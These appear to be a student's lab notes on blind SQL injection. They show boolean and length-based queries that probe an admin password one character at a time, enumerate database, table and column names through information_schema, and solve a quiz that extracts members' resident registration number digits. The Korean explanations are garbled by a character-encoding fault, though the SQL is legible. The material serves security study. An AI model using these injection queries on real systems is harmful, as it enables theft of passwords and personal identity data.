Blind Injection
content Based
Response Based
์์ฐจ ํ์
์ด์ง ํ์
Bit ์ฐ์ฐ ํ์
a๊ฐ ํฌํจ๋ผ์์ง์์์ FALSE = 0
SELECT substr((SELECT password FROM board.members WHERE id='admin'),1,1)='a';
@๊ฐ ํฌํจ๋ผ์์ด์ TRUE = 1
SELECT substr((SELECT password FROM board.members WHERE id='admin'),1,1)='@';
Blind Injection ๊ณต๊ฒฉ์ ํต์ฌ์ ์ฐธ/๊ฑฐ์ง์ ํ๋ณํ์ฌ ์๋ต๊ฐ์ ๋ฐ๋ ๊ฒ
๋ฉํ๋ฐ์ดํฐ ๋งคํ
< ์์ฐจ ์ ๊ทผ >
DB์ด๋ฆ ๋ชฉ๋กํ
Table ์ด๋ฆ ๋ชฉ๋กํ
Column ์ด๋ฆ์ ๋ชฉ๋กํ
< ๋น์์ฐจ ์ ๊ทผ >
๊ฐ๋ฐ์ ์
์ฅ์์ ๋ชฉ๋ก๋ค์ ์ ์ถํด์ผํ๋ค
SELECT table_name FROM information_schema.tables WHERE schema_name='board' and table_name like '%mem%'
DATABASE ์ด๋ฆ์ด board ์ด๋ฉด์ ํ
์ด๋ธ ์ด๋ฆ์์ %mem%์ธ๊ฒ
SELECT column_name FROM information_schema.columns WHERE table_schema='board' and table_name='members' and column_name like '%id%';
ํ
์ด๋ธ ์ด๋ฆ member์์ id๊ฐ ๋ค์ด๊ฐ ์ปฌ๋ผ
๋ธ๋ผ์ธ๋ ๋ฉํ๋ฐ์ดํฐ ๋ชฉ๋กํ
1. ๊ธฐ๋ณธ์ ๋ณด ๋ชฉ๋กํ๋ฅผ ํตํด์ ๋ฐ๋์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ์ ์์๋ธ๋ค.
1-1. ๊ธ์ ์๋ฅผ ์ ์ถํ๋ค : length()ํจ์// ๊ฒฐ๊ณผ๋ฌผ 5๊ธ์
SELECT length((SELECT database()))=1;
๊ธ์์๊ฐ 5๊ธ์์ธ๊ฒ์ ์ ์ถ ๊ฐ๋ฅ
1-2.
SELECT substr((SELECT database()),1,1)='a';
๊ธ์ ๋งจ ์๊ธ์๊ฐ b์ธ๊ฒ์ ์ ์ถ ๊ฐ๋ฅ
๋๋ฒ์งธ ๊ธ์๊ฐ o์ธ๊ฒ์ ์ ์ถ ๊ฐ๋ฅ
1-2. ํ๊ธ์์ฉ ๋น๊ตํ์ฌ 0(๊ฑฐ์ง)์ด ์๋ 1(์ฐธ)์ ๊ฐ์ ์ฐพ๋๋ค : ์ฌ์ฉํจ์ mid(),substr() // ๊ฒฐ๊ณผ๋ฌผ board
2. ์์๋ธ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ์ ๊ฐ์ง๊ณ ํ
์ด๋ธ ์ด๋ฆ์ ์ ์ถํ๋ค.
2-1. ํ
์ด๋ธ์ ๊ฐ์๋ฅผ ํ์
ํ๋ค : ์ฌ์ฉํจ์ count(*) // ๊ฒฐ๊ณผ 2๊ฐ
SELECT (SELECT count(*) FROM information_schema.tables WHERE table_schema='board')=1;
BOARD์ ํ
์ด๋ธ ๊ฐ์๊ฐ 2๊ฐ์ธ๊ฒ์ ์ ์ถ ๊ฐ๋ฅ
SELECT (SELECT count(*) FROM information_schema.tables WHERE table_schema='board' and table_name like '%mem%')=1;
mem์ด๋ผ๋ ๋จ์ด๊ฐ ๋ค์ด๊ฐ ํ
์ด๋ธ ์ด๋ฆ์ 1๊ฐ ์ธ๊ฒ์ ์ ์ถ๊ฐ๋ฅ
2-2. ๊ธ์์๋ฅผ ์ ์ถํ๋ค : ์ฌ์ฉํจ์ length() // ๊ฒฐ๊ณผ 7๊ธ์
SELECT length((SELECT table_name FROM information_schema.tables WHERE table_schema='board' and table_name like '%mem%'))=1;
7๊ธ์์ธ๊ฒ์ ์ ์ถ ๊ฐ๋ฅ
2-3. ํ์ ํ
์ด๋ธ์ ์ ์ถํ์ฌ '%mem%'์ ์ฌ์ฉ :
QUIZ ) ํ์๋ค์ ์ฃผ๋ฏผ๋ฑ๋ก๋ฒํธ ์์ ๋์๋ฆฌ๋ฅผ ์ ์ถํด๋ผ
์ฒซ๋ฒ์งธ ์๋ฆฌ 8์ธ๊ฒ ํ์ธ
๋๋ฒ์งธ ์๋ฆฌ 1์ธ๊ฒ ํ์ธ : admin : 81
์ฒซ๋ฒ์งธ ์๋ฆฌ 8์ธ๊ฒ ํ์ธ
๋๋ฒ์งธ ์๋ฆฌ 6์ธ๊ฒ ํ์ธ : gugucon : 86
SELECT password FROM members WHERE id='admin'
โ SELECT (์ปฌ๋ผ) โก FROM (ํ
์ด๋ธ) โข WHERE (์กฐ๊ฑด)
์คํ ์์ : โก > โข > โ
3. ์ ์ถํ ํ
์ด๋ธ ์ด๋ฆ์ ๊ฐ์ง๊ณ ์ฐพ๊ณ ์ถ์ ์ปฌ๋ผ๋ง ์ ์ถํด์ ์ฐพ์๋ธ๋ค.